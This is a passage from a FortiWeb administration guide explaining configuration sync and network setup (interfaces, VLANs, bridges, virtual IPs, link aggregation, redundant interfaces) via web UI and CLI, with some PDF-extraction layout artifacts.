Reverse Proxy mode. For details, see Supported features in each operation
mode on page 71.
Partial Synchronizes all configurations except:

l System > Network > Interface (config system interface)
l System > Network > Fail-open (config system fail-open)
l System > Network > DNS (config system dns)
l System > Network > V-zone (config system v-zone)
conf-sync)
l System > Admin (config system
admin/accprofile/settings/admin-certificate
local/ca)
l System > Config > FDS Proxy (config system fds proxy
override/schedule)
l System > Config > HSM (config system hsm)
l System > Config > RAID (config system raid)
l System > Firewall (config system firwall
address/service/firewall-policy/snat-policy)
l System > Config > FortiSandbox > FortiSandbox-Statistics
(config system fortisandbox-statistics)
l System > Config > WCCP Client (config system wccp)
l System > Network > Route > Policy Route (config router
policy)
l System > Network > Route > Static Route (config router
static )
l System > Maintenance > Backup & Restore > FTP Backup
l User > PKI User (config user pki user)
l User > User Group > Admin Group (config user admin-
usergrp)
l Server Objects > Service (config server-policy service
custom/predefined)
l Server Objects > Server > Virtual Server (config server-
policy vserver)
l Server Objects > Server > Server Pool (config server-policy
server-pool)
l Server Objects > Server > Health Check (config server-
policy helth)
l Policy > Server Policy (config server-policy policy)
l System > Certificate (config system certificate)
l config system global
l config system console
l config system ip-detection

l config system network-option

l config system fips-cc
l config system tcpdump
l config router setting
l config system antivirus
For a detailed list of settings that are excluded from a partial synchronization,
including CLI-only settings, see the FortiWeb CLI
Reference: https://docs.fortinet.com/document/fortiweb/
To test the connection settings, click Test. Results appear in a pop-up window. If the test connection to the target
FortiWeb succeeds, this message should appear:
Service is available...
If the following message appears:
Service isn't available...
verify that:
l the other FortiWeb is the same model
l the other FortiWeb is configured to listen on your indicated configuration sync port number (see Config-Sync
on page 60)
l the other FortiWeb’s admin account password matches
l firewalls and routers between the two FortiWebs allow the connection
6. Optionally, enable Auto-Sync. This feature allows you to automatically synchronize the configurations hourly,
daily, or weekly. Select one of the following:
Every—Use the hour and minute drop-down menus to select the interval at which the configurations are
synchronized. For example, selecting 5 for hour and 0 for minute will synchronize the configurations every five
hours.
Daily—Use the hour and minute drop-down menus to select the time (24-hour clock) at which the configurations
are synchronized. For example, Selecting 10 for hour and 30 for minute will synchronize the configurations every
day at 10:30.
Weekly—Use the day, hour, and minute drop-down menus to select the day and time of day at which the
configurations are synchronized. For example, selecting Sunday for day, 5 for hour, and 15 for minute will
synchronize the configurations every Sunday at 5:15.
7. Click Push config.
A dialog appears, warning you that all policies and profiles with identical names will be overwritten on the other
FortiWeb, and asking if you want to continue.
8. Click Yes.
The FortiWeb appliance sends its configuration to the other, which synchronizes any identically-named policies and
settings. Time required varies by the size of the configuration and the speed of the network connection. When
complete, this message should appear:
Config. synchronized successfully.
See also

Configuring the network settings
When shipped, each of the FortiWeb appliance’s physical network adapter ports (or, for FortiWeb-VM, vNICs) has a
default IP address and netmask. If these IP addresses and netmasks are not compatible with the design of your unique
network, you must configure them.
Network Interface* IPv4 Address/Netmask IPv6 Address/Netmask
port1 192.168.1.99/24 ::/0
port2 0.0.0.0/0 ::/0
port3 0.0.0.0/0 ::/0
port4 0.0.0.0/0 ::/0
* The number of network interfaces varies by model.
You also must configure FortiWeb with the IP address of your DNS servers and gateway router.
You can use either the web UI or the CLI to configure these basic network settings.
If you are installing a FortiWeb-VM virtual appliance, and you followed the
instructions in the FortiWeb-VM Install Guide
(http://docs.fortinet.com/fortiweb/hardware), you have already configured some of
the settings for port1. To fully configure all of the network interfaces, you must
complete this chapter.
To configure a network interface or bridge
To connect to the CLI and web UI, you must assign at least one FortiWeb network interface (usually port1) with an IP
address and netmask so that it can receive your connections. Depending on your network, you usually must configure
others so that FortiWeb can connect to the Internet and to the web servers it protects.
How should you configure the other network interfaces? Should you add more? Should each have an IP address? That
varies. In some cases, you may not want to assign IP addresses to the other network interfaces.
Initially, each physical network port (or, on FortiWeb-VM, a vNIC) has only one network interface that directly
corresponds to it — that is, a “physical network interface.” Multiple network interfaces (“subinterfaces” or “virtual
interfaces”) can be associated with a single physical port, and vice versa (“redundant interfaces”/”NIC teaming”/”NIC
bonding” or “aggregated links”). These can provide features such as link failure resilience or multi-network links.

VLAN Subnetwork
Releationships of Interfaces
Physical vlanA Bandwidth
Network Interface Network Divided
Interface
Logical Types =1 Port/n
to Physical Network Ports port1 port2

vlanB
port1 port2
Link
Bridging Aggregation
Network Bandwidth
bridge3 Interface agg4 Multiplied
Bandwidth = 1 Port x n
= 1 Port
FortiWeb does not currently support IPSec VPN, so the virtual interfaces for IPSec
VPN are not supported. If you require these features, implement them separately on
your FortiGate, VPN appliance, or firewall.
Usually, each network interface has at least one IP address and netmask. However, this is not true for bridges.
Bridges (V-zones) allow packets to travel between the FortiWeb appliance’s physical network ports over a physical layer
link, without an IP layer connection with those ports.
Use bridges when:
l The FortiWeb appliance operates in True Transparent Proxy or Transparent Inspection mode, and
l You want to deploy FortiWeb between incoming connections and the web server it is protecting, without changing
your IP address scheme or performing routing or network address translation (NAT)
For bridges, do not assign IP addresses to the ports that you will connect to either the web server or to the overall
network. Instead, group the two physical network ports by adding their associated network interfaces to a bridge.
Configure each network interface that will connect to your network or computer (see Configuring the network interfaces
on page 126 or Configuring a bridge (V-zone) on page 133). If you want multiple networks to use the same wire while
minimizing the scope of broadcasts, configure VLANs (see Adding VLAN subinterfaces on page 129).
See also

l Adding VLAN subinterfaces on page 129

l Link aggregation on page 136

Configuring the network interfaces
You can configure network interfaces either via the web UI or the CLI. If your network uses VLANs, you can also
configure VLAN subinterfaces. For details, see Adding VLAN subinterfaces on page 129.
If the FortiWeb appliance is operating in True Transparent Proxy or Transparent Inspection mode and you will configure
a V-zone (bridge), do not configure any physical network interfaces other than port1. Configured NICs cannot be added
to a bridge. For details, see Configuring a bridge (V-zone) on page 133.
If this FortiWeb will belong to a FortiWeb HA cluster, do not configure any network interface that will be used as an HA
heartbeat and synchronization link. If you are re-cabling your network and must configure it, connect and switch to the
new HA link first. Failure to do so could cause unintentional downtime, failover, and ignored IP address configuration.
To switch the HA link, see FortiWeb high availability (HA) on page 48.
To customize the network interface information that FortiWeb displays when you go to System > Network
> Interface, right-click the heading row. Select and clear the columns you want to display or hide, and then click Apply.
To configure a network interface’s IP address via the web UI
1. Go to System > Network > Interface.
If the network interface’s Status column is Bring Up, its administrative status is currently “down” and it will not
receive or emit packets, even if you otherwise configure it. To bring up the network interface, click the Bring Up
link.
This Status column is not the detected physical link status; it is the
administrative status that indicates whether you permit network interface to
receive and/or transmit packets.
For example, if the cable is physically unplugged, diagnose hardware nic
list port1 or Operation widget on page 695 may indicate that the link is
down, even though you have administratively enabled it by clicking Bring Up.
By definition, HA heartbeat and synchronization links should always be “up.”
Therefore, if you have configured FortiWeb to use a network interface for HA, its
Status column will always display HA Member.
2. Double-click the row of the network interface that you want to modify.
The Edit Interface dialog appears. Name displays the name and media access control (MAC) address of this
network interface. The network interface is directly associated with one physical link as indicated by its name, such
as port2.
In HA, it may use a virtual MAC instead. For details, see HA heartbeat on page 114 and FortiWeb high availability
(HA) on page 48.
Addressing Mode Specify whether FortiWeb acquires an IPv4/IPv6 address for this
network interface manually or using DHCP.

IP/Netmask Type the IP address and subnet mask, separated by a forward slash
( / ), such as 192.0.2.2/24 for an IPv4 address or
2001:0db8:85a3:::8a2e:0370:7334/64 for an IPv6 address.
The IP address must be on the same subnet as the network to which

the interface connects. Two network interfaces cannot have IP
addresses on the same subnet.
In Active-Passive and Standard Active-Active HA modes, the IPv6
DAD feature is by default disabled, which means FortiWeb won't
know whether the IPv6 address of its network interface is conflicted
with other devices connected with it. You can run the following
command on the master node to enable this feature:
set ipv6-dad-ha enable
end
The IP address conflict detection is a one-time action executed only
when you configure the IPv6 address of the network interface. It will
not be performed again upon reboot or failover even if there are
conflicted IP addresses.
Administrative Access Enable the types of administrative access that you want to permit to
this interface.
These options do not disable outgoing administrative connections,

such as update polling connections to the FDN or outgoing ICMP
resulting from a CLI command such as execute ping. Neither do
they govern traffic destined for a web server or virtual server, which
are governed by policies. These options only govern incoming
connections destined for the appliance itself.
Caution: Enable only on network interfaces connected to trusted

private networks (defined in Trusted Host #1 on page 330, Trusted
Host #2 on page 330, Trusted Host #3 on page 330) or directly to your
management computer. If possible, enable only secure
administrative access protocols such as HTTPS or SSH. Failure to
restrict administrative access could compromise the security of your
FortiWeb appliance.
HTTPS Enable to allow secure HTTPS connections to the web UI through this
network interface. To configure the listening port number, see Global
web UI & CLI settings on page 59.
PING Enable to allow:

l ICMP type 8 (ECHO_REQUEST)
l UDP ports 33434 to 33534
for ping and traceroute to be received on this network interface.

When it receives an ECHO_REQUEST (“ping”), FortiWeb will reply with
ICMP type 0 (ECHO_RESPONSE or “ping”).

Note: Disabling PING only prevents FortiWeb from receiving ICMP

type 8 (ECHO_REQUEST) and traceroute-related UDP.
It does not disable FortiWeb CLI commands such as execute

ping or execute traceroute that send such traffic.
For the management port, when PING is enabled, to allow execute

ping for the management port, you need to configure the Firewall
rule.
HTTP Enable to allow HTTP connections to the web UI through this network
interface. To configure the listening port number, see Global web UI
& CLI settings on page 59.
The HTTP access to FortiWeb's GUI will be automatically redirected

to HTTPS, so you can't enable HTTP alone, it should be enabled
along with HTTPS.
SSH Enable to allow SSH connections to the CLI through this network
interface.
SNMP Enable to allow SNMP queries to this network interface, if queries

have been configured and the sender is a configured SNMP manager.
To configure the listening port number and configure queries and
traps, see SNMP traps & queries on page 727.
FortiWeb Enable to allow FortiWeb Manager to connect to this appliance using

Manager this network interface.
WCCP Protocol Select if the interface is used to communicate with a FortiGate unit
configured as a WCCP server.
Available only when the operation mode is WCCP.
For details, see Setting the operation mode on page 105 and
Configuring FortiWeb to receive traffic via WCCP on page 201.
Description Type a comment. The maximum length is 63 characters.
Optional.
4. Click OK.
If you were connected to the web UI through this network interface, you are now disconnected from it.
5. To access the web UI again, in your web browser, modify the URL t to match the new IP address of the network
interface. For example, if you configured the network interface with the IP address 10.10.10.5, you would browse
to: https://10.10.10.5
If the new IP address is on a different subnet than the previous IP address, and your computer is directly connected to
the FortiWeb appliance, you may also need to modify the IP address and subnet of your computer to match the
FortiWeb appliance’s new IP address.

To configure a network interface’s IPv4 address via the CLI

config system interface
edit <interface_name>
set mode {manual|dhcp}
set ip <address_ipv4mask> <netmask_ipv4mask>
set allowaccess {http https ping snmp ssh telnet}
end
where:
l <interface_name> is the name of a network interface
l {manual|dhcp} specifies how the network interface is addressed.
l <address_ipv4> is the IP address assigned to the network interface
l <netmask_ipv4mask> is its netmask in dotted decimal format
l {http https ping snmp ssh telnet} is a space-delimited list of zero or more administrative protocols
that you want to allow to access the FortiWeb appliance through the network interface
HTTP and Telnet connections are not secure, and can be intercepted by a third
party. If possible, enable this option only for network interfaces connected to a
trusted private network, or directly to your management computer. Failure to restrict
administrative access through this protocol could compromise the security of your
FortiWeb appliance.
If you were connected to the CLI through this network interface, you are now disconnected from it.
To access the CLI again, in your terminal client, modify the address to match the new IP address of the network
interface. For example, if you configured the network interface with the IP address 172.16.1.20, you would connect to
that IP address.
If the new IP address is on a different subnet than the previous IP address, and your computer is directly connected to
the FortiWeb appliance, you may also need to modify the IP address and subnet of your computer to match the
Adding VLAN subinterfaces
You can add a virtual local area network (VLAN) subinterface to a network interface or bridge on the FortiWeb appliance,
up to a maximum of 512 VLAN in total.
Similar to a local area network (LAN), use a IEEE 802.1q (http://www.ieee802.org/1/pages/802.1Q.html) VLAN to
reduce the size of a broadcast domain and thereby reduce the amount of broadcast traffic received by network hosts,
improving network performance.
In True Transparent Proxy mode, to expand the VLAN space, Q-in-Q is introduced for FortiWeb to stack 802.1Q and
802.1ad (http://www.ieee802.org/1/pages/802.1Q.html) headers in the Ethernet frame, so that multiple VLANs are
reused in a core VLAN. The 802.1Q VLAN (Ethernet Type = 0x8100) can be packed into the 802.1ad VLAN (Ethernet
Type = 0x88A8). If you create a 802.1ad VLAN per a physical interface, then you can create a 802.1Q VLAN per 802.1ad
VLAN. Packets will be tagged by two VLANs.

VLANs are not designed to be a security measure, and should not be used where
untrusted devices and/or individuals outside of your organization have access to the
equipment. VLAN tags are not authenticated, and can be ignored or modified by
attackers. VLAN tags rely on the voluntary compliance of the receiving host or
switch.
Unlike physical LANs, VLANs do not require you to install separate hardware switches and routers to achieve this effect.
Instead, VLAN-compliant switches, such as FortiWeb appliances, restrict broadcast traffic based upon whether its VLAN
ID matches that of the destination network. As such, VLAN trunks can be used to join physically distant broadcast
domains as if they were close.
The VLAN ID is part of the tag that is inserted into each Ethernet frame in order to identify traffic for a specific VLAN.
VLAN header addition is handled automatically by FortiWeb appliances, and does not require that you adjust the
maximum transmission unit (MTU). Depending on whether the device receiving a packet operates at Layer 2 or Layer 3
of the network, this tag may be added, removed, or rewritten before forwarding to other nodes on the network.
Cisco Discovery Protocol (CDP) is supported for VLANs, including when FortiWeb is operating in either of the
transparent modes.
If your FortiWeb model uses Data Plane Development Kit (DPDK) for packet processing (for example, models 3000E,
3010E and 4000E), you cannot use VLAN subinterfaces as a data capture port for Offline Protection mode. For these
models, remove any VLAN configuration on an interface before you use it for data capture. These models fully support
the capture and transmission of VLAN traffic.
To configure a VLAN subinterface

2. Click Create New.
Name Type the name (for example, vlan100) of this VLAN subinterface
that can be referenced by other parts of the configuration. The
maximum length is 15 characters.
Tip: The name cannot be changed once you save the entry. For a
workaround, see Renaming entries on page 64.

Type Select VLAN .
Interface Select the name of the physical network port with which the VLAN
subinterface will be associated.
VLAN ID Type the VLAN ID , such as 100, of packets that belong to this
VLAN subinterface.
l If one physical network port (that is, a VLAN trunk) will handle
multiple VLANs, create multiple VLAN subinterfaces on that
port, one for each VLAN ID that will be received.
l If multiple different physical network ports will handle the same
VLANs, on each of the ports, create VLAN subinterfaces that
have the same VLAN IDs.
The valid range is between 1 and 4094 and must match the VLAN
ID added by the IEEE 802.1q-compliant router or switch connected
to the VLAN subinterface.
For the maximum number of interfaces for your FortiWeb model,
including VLAN subinterfaces, see Appendix B: Maximum
configuration values on page 865.
VLAN Protocol Select a VLAN type 802.1Q or 802.1ad.
Addressing Mode Specify whether FortiWeb acquires an IPv4/IPv6 address for this
VLAN using DHCP.
IP/Netmask Type the IP address/subnet mask associated with the VLAN, if any.
The IP address must be on the same subnet as the network to which
the interface connects. Two network interfaces cannot have IP
addresses on the same subnet.
Administrative Access Enable the types of administrative access that you want to permit to
this interface.
These options do not disable outgoing administrative connections,

such as update polling connections to the FDN or outgoing ICMP
resulting from a CLI command such as execute ping. Neither do
they govern traffic destined for a web server or virtual server, which
are governed by policies. These options only govern incoming
Caution: Enable only on network interfaces connected to trusted

private networks (defined in Trusted Host #1 on page 330, Trusted
Host #2 on page 330, Trusted Host #3 on page 330) or directly to your
management computer. If possible, enable only secure
administrative access protocols such as HTTPS or SSH. Failure to
restrict administrative access could compromise the security of your
FortiWeb appliance.
HTTPS Enable to allow secure HTTPS connections to the web UI through this
network interface. To configure the listening port number, see Global
web UI & CLI settings on page 59.


for ping and traceroute to be received on this network interface.
When it receives an ECHO_REQUEST (“ping”), FortiWeb will reply with
ICMP type 0 (ECHO_RESPONSE or “pong”).
Note: Disabling PING only prevents FortiWeb from receiving ICMP
type 8 (ECHO_REQUEST) and traceroute-related UDP.
It does not disable FortiWeb CLI commands such as execute
ping or execute traceroute that send such traffic.
interface. To configure the listening port number, see Global web UI
& CLI settings on page 59.
The HTTP access to FortiWeb's GUI will be automatically redirected
to HTTPS, so you can't enable HTTP alone, it should be enabled
along with HTTPS.
SSH Enable to allow SSH connections to the CLI through this network
interface.
SNMP Enable to allow SNMP queries to this network interface, if queries

have been configured and the sender is a configured SNMP manager.
To configure the listening port number and configure queries and
traps, see SNMP traps & queries on page 727.
FortiWeb Enable to allow FortiWeb Manager to connect to this appliance using

Manager this network interface.
WCCP Protocol Select if the interface is used to communicate with a FortiGate unit
configured as a WCCP server.
Available only when the operation mode is WCCP.
For details, see Setting the operation mode on page 105 and
Configuring FortiWeb to receive traffic via WCCP on page 201.
4. Click OK.
Your new VLAN is initially hidden in the list of network interfaces.
To expand the network interface listing in order to view all of a port’s associated VLANs, click the + (plus sign)
beside the name of the port.
See also

l To configure a network interface or bridge on page 124
l Configuring DNS settings on page 150


l Global web UI & CLI settings on page 59
Configuring a bridge (V-zone)
You can configure a bridge either via the web UI or the CLI.
Bridges allow network connections to travel through the FortiWeb appliance’s physical network ports without explicitly
connecting to one of its IP addresses. Due to this nature, bridges are configured only when FortiWeb is operating in
either True Transparent Proxy or Transparent Inspection mode.
Bridges on the FortiWeb appliance support IEEE 802.1d (https://1.ieee802.org) spanning tree protocol (STP) by
forwarding bridge protocol data unit (BPDU) packets, but do not generate BPDU packets of their own. Therefore, in
some cases, you might need to manually test the bridged network for Layer 2 loops. Also, you may prefer to manually
design a tree that uses the minimum cost path to the root switch for design and performance reasons.
True bridges typically have no IP address of their own. They use only media access control (MAC) addresses to describe
the location of physical ports within the scope of their network and do network switching at Layer 2 of the OSI model.
You can configure FortiWeb to monitor the members of bridge. When monitoring is enabled, if a network interface that
belongs to the bridge goes down, FortiWeb automatically brings down the other members.
Using network interface MAC addresses in True Transparent Proxy mode
When the operation mode is True Transparent Proxy, by default, traffic that travels through a bridge to the back-end
servers preserves the MAC address of the source.
If you are using FortiWeb with front-end load balancers that are in a high availability cluster that connects via multiple
bridges, this mechanism can cause switching problems on failover.
To avoid this problem, the config system v-zone command allows you to configure FortiWeb to use the MAC
address of the FortiWeb network interface instead. The option is not available in the web UI. For details, see the
FortiWeb CLI Reference:
http://docs.fortinet.com/fortiweb/reference

To configure a bridge via the web UI
1. If you have installed a physical FortiWeb appliance, plug in network cables to connect one of the physical ports in
the bridge to your protected web servers, and the other port to the Internet or your internal network.
Because port1 is reserved for connections with your management computer, for physical appliances, this means
that you must plug cables into at least 3 physical ports:
l port1 to your management computer
l one port to your web servers
l one port to the Internet or your internal network
2. If you have installed a virtual FortiWeb appliance (FortiWeb-VM), the number and topology of connections of your
physical ports depend on your vNIC mappings. For details, see the FortiWeb-VM Install Guide:
To use fail-to-wire, the bridge must be comprised of the ports that have
hardware support for fail-to-wire. For example, on FortiWeb 1000C, this is port3
and port4. See Fail-to-wire for power loss/reboots on page 667 and the
QuickStart Guide for your model.
If you have installed FortiWeb-VM, configure the virtual switch (vSwitch). For details, see the FortiWeb-VM Install
Guide:
3. Go to System > Network > V-zone.
This option is not displayed if the current operating mode does not support bridges.
Name Type a unique name that can be referenced in other parts of the configuration.
The maximum length is 15 characters. The name cannot be changed once
you save the entry. For details, see Renaming entries on page 64.
Interface name Display a list of network interfaces that you can add to a bridge.
Only interfaces that currently have no IP address and are not members of
another bridge are displayed.
To add one or more network interfaces to the bridge, select their names, then
click the right arrow.
Since FortiWeb 6.1 release, vlan subinterfaces including 802.1Q, 802.1ad
and physical interfaces can be configured in one V-zone.
Note: Only network interfaces with no IP address can belong to a bridge.
port1 is reserved for your management computer, and cannot be bridged.
To remove any other network interface’s IP address so that it can be included
in the bridge, set its IP/Netmask on page 127 to 0.0.0.0/0.0.0.0.
Member Displays a list of network interfaces that belong to this bridge.
To remove a network interface from the bridge, select its name, then click the

left arrow.
Tip: If you will be configuring bypass/fail-to-wire, the pair of bridge ports that
you select should be ones that are wired together to support it. For details,
see Fail-to-wire for power loss/reboots on page 667.
6. Click OK.
The bridge appears in System > Network > V-zone.
7. To configure FortiWeb to automatically bring down all members of this v-zone when one member goes down,
select Member Monitor.
8. To use the bridge, select it in a policy (see Configuring an HTTP server policy on page 242).
To configure a bridge in the CLI
1. If you have installed a physical FortiWeb appliance, connect one of the physical ports in the bridge to your
protected web servers, and the other port to the Internet or your internal network.
Because port1 is reserved for connections with your management computer, for physical appliances, this means
that you must connect at least 3 ports:
l port1 to your management computer
l one port to your web servers
l one port to the Internet or your internal network
2. If you have installed a virtual FortiWeb appliance, the number and topology of connections of your physical ports
depend on your vNIC mappings. For details, see the FortiWeb-VM Install Guide:
If you have installed FortiWeb as a virtual appliance (FortiWeb-VM), configure the virtual switch. For details, see
the FortiWeb-VM Install Guide:
config system v-zone
edit <v-zone_name>
set interfaces {<port_name> ...}
set monitor {enable | disable}
end
where:
l <v-zone_name> is the name of the bridge
l {<port_name> ...} is a space-delimited list of one or more network ports that will be members of this
bridge. Eligible network ports must not yet belong to a bridge, and have no assigned IP address. For a list of
eligible ports, enter:
set interfaces ?
l set monitor {enable | disable} is an optional setting that specifies whether FortiWeb
automatically brings down all members of this v-zone when one member goes down.
4. To use the bridge, select it in a policy. For details, see Configuring an HTTP server policy on page 242.
See also



Configuring virtual IP
The virtual IP addresses are the IP addresses that paired with the domain name of your application. When users visit
your application, the destination of their requests are these IP addresses.
You can later attach one or more virtual IP addresses to a virtual server, and then reference the virtual server in a server
policy. The web protection profile in the server policy will be applied to all the virtual IPs attached to this virtual server.
To configure a virtual IP
1. Go to System > Network > Virtual IP.

Name Enter a unique name that can be referenced by other parts of the
configuration. The maximum length is 63 characters.
IPv4 Address Enter the IP address and subnet of the virtual IP.
IPv6 Address If the FortiWeb appliance is operating in Offline Protection mode or either of
the transparent modes, because FortiWeb ignores this IP address when it
determines whether or not to apply a server policy to the connection, you can
specify any IP address except the address of the web server.
The virtual IP address cannot be the same with the IP address of any one of
the interfaces.
Interface Select the network interface or bridge the virtual IP is bound to and where
traffic destined for the virtual IP arrives.
To configure an interface or bridge, see To configure a network interface or
4. bridge on page 124.
Link aggregation
You can configure a network interface that is the bundle of several physical links via either the web UI or the CLI.
The Link Aggregation Control Protocol (LACP) is currently supported only when
FortiWeb is deployed in Reverse Proxy or True Transparent Proxy mode. It can be
applied to VLAN subinterfaces. It cannot be applied to ports that are used for the HA
heartbeat, but it can be applied to monitor ports in an HA cluster. It is not supported
in FortiWeb-VM.
Link aggregation (also called NIC teaming/bonding or link bundling) forms a network interface that queues and
transmits over multiple wires (also called a port channel), instead of only a single wire (as FortiWeb would normally do
with a single network interface for each physical port). This multiplies the bandwidth that is available to the network
interface, and therefore is useful if FortiWeb will be inline with your network backbone.

Link aggregation on FortiWeb complies with IEEE 802.3ad (http://grouper.ieee.org/groups/802/3/ad/index.html) and

distributes Ethernet frames using a modified round-robin behavior. If a port in the aggregate fails, traffic is redistributed
automatically to the remaining ports with the only noticeable effect being a reduced bandwidth. When broadcast or
multicast traffic is received on a port in the aggregate interface, reverse traffic will return on the same port.
When link aggregation uses a round-robin that considers only Layer 2, Ethernet frames that comprise an HTTP request
can sometimes arrive out of order. Because network protocols at higher layers often do not gracefully handle this
(especially TCP, which may decrease network performance by requesting retransmission when the expected segment
does not arrive), FortiWeb’s frame distribution algorithm is configurable.
For example, if you notice that performance with link aggregation is not as high as you expect, you could try configuring
FortiWeb to queue related frames consistently to the same port by considering the IP session (Layer 3) and TCP
connection (Layer 4), not simply the MAC address (Layer 2).
You must also configure the router, switch, or other link aggregation control protocol (LACP)-compatible device at the
other end of FortiWeb’s network cables to match, with identical:
l Link speed
l duplex/simplex setting
l ports that can be aggregated
This will allow the two devices to use the cables between those ports to form a trunk, not an accidental Layer 2 (link)
network loop. FortiWeb will use LACP to:
l detect suitable links between itself and the other device, and form a single logical link
l detect individual port failure so that the aggregate can redistribute queuing to avoid a failed port
To configure a link aggregate interface

Name Type the name (such as agg) of this logical interface that can be referenced by
other parts of the configuration. The maximum length is 15 characters.
Tip: The name cannot be changed once you save the entry. For a workaround,
see Renaming entries on page 64.
Type Select 802.3ad Aggregate.
Lacp-rate Select the rate of transmission for the LACP frames (LACPUs) between
FortiWeb and the peer device at the other end of the trunking cables, either:
l SLOW —Every 30 seconds.

l FAST—Every 1 second.
Note: This must match the setting on the other device. If the rates do not
match, FortiWeb or the other device could mistakenly believe that the other’s
ports have failed, effectively disabling ports in the trunk.

Algorithm Select the connectivity layers that will be considered when distributing frames
among the aggregated physical ports.
l layer2—Consider only the MAC address. This results in the most even
distribution of frames, but may be disruptive to TCP if packets frequently
arrive out of order.
l layer2_3—Consider both the MAC address and IP session. Queue frames
involving the same session to the same port. This results in slightly less
even distribution, and still does not guarantee perfectly ordered TCP
sessions, but does result in less jitter within the session.
l layer3_4—Consider both the IP session and TCP connection. Queue
frames involving the same session and connection to the same port.
Distribution is not even, but this does prevent TCP retransmissions
associated with link aggregation.
Addressing Mode Specify whether FortiWeb acquires an IPv4/IPv6 address for this aggregate
using DHCP.
IP/Netmask Type the IP address/subnet mask associated with the aggregate. The IP
address must be on the same subnet as the network to which the interface
connects. Two network interfaces cannot have IP addresses on the same
subnet.
Administrative Access Enable the types of administrative access that you want to permit to the
selected interfaces.
These options do not disable outgoing administrative connections, such as

update polling connections to the FDN or outgoing ICMP resulting from a CLI
command such as execute ping. Neither do they govern traffic destined for
a web server or virtual server, which are governed by policies. These options
only govern incoming connections destined for the appliance itself.
Caution: Enable only on network interfaces connected to trusted private

networks (defined in Trusted Host #1 on page 330, Trusted Host #2 on page
330, Trusted Host #3 on page 330) or directly to your management computer.
If possible, enable only secure administrative access protocols such as HTTPS
or SSH. Failure to restrict administrative access could compromise the security
of your FortiWeb appliance.
HTTPS Enable to allow secure HTTPS connections to the web UI through this network
interface. To configure the listening port number, see Global web UI & CLI
settings on page 59.

for ping and traceroute to be received on this network interface. When it
receives an ECHO_REQUEST (“ping”), FortiWeb will reply with ICMP type 0
(ECHO_RESPONSE or “pong”).
Note: Disabling PING only prevents FortiWeb from receiving ICMP type 8
(ECHO_REQUEST) and traceroute-related UDP.

It does not disable FortiWeb CLI commands such as execute ping or

execute traceroute that send such traffic.
interface. To configure the listening port number, see Global web UI & CLI
The HTTP access to FortiWeb's GUI will be automatically redirected to
HTTPS, so you can't enable HTTP alone, it should be enabled along with
HTTPS.
SSH Enable to allow SSH connections to the CLI through this network interface.
SNMP Enable to allow SNMP queries to this network interface, if queries have been
configured and the sender is a configured SNMP manager. To configure the
listening port number and configure queries and traps, see SNMP traps &
queries on page 727.
FortiWeb Enable to allow FortiWeb Manager to connect to this appliance using this
Manager network interface.
4. Click OK.
Your new aggregate appears in the list of network interfaces.
To configure an IPv4link aggregate via the CLI

edit "aggregate"
set type agg
set status up
set intf <port_name> <port_name>
set algorithm {layer2 | layer2_3 | layer3_4}
set lacp-speed {fast | slow}
set mode {manual | dhcp}
set ip <address_ipv4> <netmask_ipv4mask>
next
end
where:
l <port_name> is the name of a physical network interface, such as port3
l <address_ipv4> is the IP address assigned to the network interface
l <netmask_ipv4mask> is its netmask in dotted decimal format
l {manual | dhcp} specifies how the network interface is addressed.
l {layer2 | layer2_3 | layer3_4} is a choice between the connectivity layers that will be considered when
distributing frames among the aggregated physical ports.
l {fast | slow} is a choice of the rate of transmission for the LACP frames (LACPUs) between FortiWeb and the
peer device at the other end of the trunking cables; this must match the LACP peer
See also



Configuring redundant interfaces
You can combine two or more interfaces in a redundant configuration to ensure connectivity in the event that one
physical interface or the equipment connected to that interface fails. Network traffic goes through only one interface at
any time, and the other interfaces act as backups in the event an interface fails. Redundant interfaces create redundant
connections between a FortiWeb configuration and the network, removing a potential single point of failure and further
increasing network reliability and connectivity.
When used in certain network configurations, such as a High Availability (HA) Active-Passive (AP) configuration, you can
create a fully meshed HA configuration that eliminates potential single points of failure. By default, HA configurations
connect to the network using a single switch, and this single piece of equipment remains a potential single point of
failure. When you configure redundant interfaces in an HA configuration, you eliminate the remaining potential single
point of failure between your FortiWeb configuration and the network.
An interface can be used in a redundant interface configuration if it:
l Is a physical interface and not a VLAN interface
l Does not have any VLAN subinterfaces
l Is not referenced in any V-zone interfaces
l Is not already part of an aggregated or redundant interface configuration
l Has no defined IP address (Manual or DHCP)
l Is not used in a server policy or virtual server configuration
l Is not used by a static route or policy route
l Is not monitored by an HA configuration
l Is not referenced in an HA Reserved Management Interface
l Is not referenced in an HA Heartbeat Interface
Interfaces in a redundant interface configuration are not listed in System > Network > Interface. You cannot further
configure or select redundant interfaces in other parts of the configuration.
To configure redundant interfaces via the web UI

3. Enter a Name for the interface.
4. For Type, select Redundant Interface.
5. Select ports that you want to use in the configuration from the list of Available Interfaces and use the (arrow)
icon to move them to the Selected Interfaces list.
6. For Addressing mode:
Select Manual to enter an IPv4 address. If you select Manual, also configure the IPv4/Netmask option. Type the
IP address and subnet mask, separated by a forward slash ( / ), such as 192.0.2.2/24.
Select DHCP so that FortiWeb will acquire an IPv4 address using DHCP.
7. Optionally, for IPv6 Addressing mode:
Select Manual to enter an IPv6 address. If you select Manual, also configure the IPv6/Netmask option.

Select DHCP so that FortiWeb will acquire an IPv6 address using DHCP.
8. For Administrative Access, select the types of administrative access that you want to permit to the selected
interfaces.
These options do not disable outgoing administrative connections, such as update polling connections to the FDN
or outgoing ICMP resulting from a CLI command such as execute ping. Neither do they govern traffic destined
for a web server or virtual server, which are governed by policies. These options only govern incoming
Caution: Enable only on network interfaces connected to trusted private networks (defined in Trusted Host #1 on
page 330, Trusted Host #2 on page 330, Trusted Host #3 on page 330) or directly to your management computer.
If possible, enable only secure administrative access protocols such as HTTPS or SSH. Failure to restrict
administrative access could compromise the security of your FortiWeb appliance.
HTTPS Enable to allow secure HTTPS connections to the web UI through this network
interface. To configure the listening port number, see Global web UI & CLI settings on
page 59.

for ping and traceroute to be received on this network interface. When it receives
an ECHO_REQUEST (“ping”), FortiWeb will reply with ICMP type 0 (ECHO_RESPONSE
or “pong”).
Note: Disabling PING only prevents FortiWeb from receiving ICMP type 8 (ECHO_
REQUEST) and traceroute-related UDP.
It does not disable FortiWeb CLI commands such as execute ping or execute
traceroute that send such traffic.
HTTP Enable to allow HTTP connections to the web UI through this network interface. To
configure the listening port number, see Global web UI & CLI settings on page 59. The
HTTP access to FortiWeb's GUI will be automatically redirected to HTTPS, so you can't
enable HTTP alone, it should be enabled along with HTTPS.
SSH Enable to allow SSH connections to the CLI through this network interface.
SNMP Enable to allow SNMP queries to this network interface, if queries have been configured
and the sender is a configured SNMP manager. To configure the listening port number
